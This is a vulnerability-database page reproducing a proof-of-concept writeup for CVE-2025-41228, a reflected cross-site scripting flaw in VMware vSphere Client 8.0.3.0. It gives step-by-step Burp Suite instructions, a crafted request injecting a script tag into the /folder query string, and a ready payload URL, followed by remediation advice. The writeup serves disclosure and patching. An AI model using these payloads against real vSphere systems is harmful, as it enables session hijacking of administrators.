| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2025-41228 | 20 May 202514:48 | – | circl | |
| VMware ESXi和VMware vCenter Server 安全漏洞 | 20 May 202500:00 | – | cnnvd | |
| CVE-2025-41228 | 20 May 202514:24 | – | cve | |
| CVE-2025-41228 VMware ESXi and vCenter Server Reflected Cross Site Scripting (XSS) Vulnerability | 20 May 202514:24 | – | cvelist | |
| EUVD-2025-15830 | 3 Oct 202520:07 | – | euvd | |
| Security Bulletin: Multiple Vulnerabilities in VMware ESXi affect IBM Cloud Pak System | 30 Jan 202616:53 | – | ibm | |
| VMware Fusion 13.0.x < 13.6.3 Multiple Vulnerabilities (VMSA-2025-0010) | 20 May 202500:00 | – | nessus | |
| VMware ESXi 7.0 / 8.0 Multiple Vulenerabilities (VMSA-2025-0010) | 26 May 202500:00 | – | nessus | |
| VMware vCenter Server 8.0 < 8.0 U3e Server Reflected XSS (CVE-2025-41228) (VMSA-2025-0010) | 26 May 202500:00 | – | nessus | |
| VMware Workstation 17.0.x < 17.6.3 Multiple Vulnerabilities (VMSA-2025-0010) | 20 May 202500:00 | – | nessus |
# VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
- **Exploit Title**: VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
- **Date**: 2025-08-08
- **Exploit Author**: Imraan Khan (Lich-Sec)
- **Vendor Homepage**: [https://www.vmware.com](https://www.vmware.com)
- **Version**: vSphere Client 8.0.3.0
- **Tested On**: Web interface (Chrome 138)
- **CVE**: CVE-2025-41228
- **Category**: WebApps
---
## Description
A reflected Cross-Site Scripting (XSS) vulnerability exists in VMware vSphere Client version 8.0.3.0. The application fails to sanitize input passed via a query string to the `/folder` endpoint, resulting in arbitrary JavaScript execution when the reflected value is rendered into an HTML form’s `action` attribute.
The vulnerability was confirmed by intercepting a request through Burp Suite and injecting a malicious payload. This XSS only successfully executes when the response is rendered by a browser within an **active session**, such as one initiated via prior authentication.
---
## Steps to Reproduce
### 1. Initiate request to vulnerable endpoint
Open a browser and navigate to:
```
https://host/folder?ht7j4
```
This sends a benign request that you will intercept.
---
### 2. Intercept and modify the request using Burp Suite
With Burp Suite proxy enabled, capture the request and modify the query string to inject the XSS payload:
```
GET /folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1 HTTP/2
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https://192.168.x.x/
Accept: text/html,application/xhtml+xml
```
Then forward the request to the server.
---
### 3. Observe the reflected payload in the HTTP response
In the Burp HTTP Response, the payload appears unencoded within the HTML:
```html
<form action="/folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1" method="POST">
<input name="VMware-CSRF-Token" type="hidden" value="..." />
```
This confirms that the payload is reflected back into the HTML in a dangerous context — inside a form’s `action` attribute — allowing script execution.
---
### 4. Trigger script execution
Because the XSS is reflected but only renders within the full browser context, to observe the popup:
- Forward the exact same malicious request using Burp **with an authenticated session (cookies included)**.
- OR, use Burp's **"Open in Browser"** feature (with session cookies) to request the full response as a browser would.
Upon rendering the page, the browser will execute the injected `<script>`.
Example payload URL:
```
https://192.168.x.x/folder?ht7j4"><script>alert(1)</script>tnkav=1
```
---
## Impact
Successful exploitation results in arbitrary JavaScript execution within the vSphere Client’s web interface. This could be leveraged for phishing, session hijacking, or further compromise of the admin's browser session.
---
## Recommendation
Upgrade to VMware vCenter Server version **8.0 U3e or later**, which remediates **CVE-2025-41228**.
---
## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-41228
- https://www.vmware.com/security/advisoriesData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation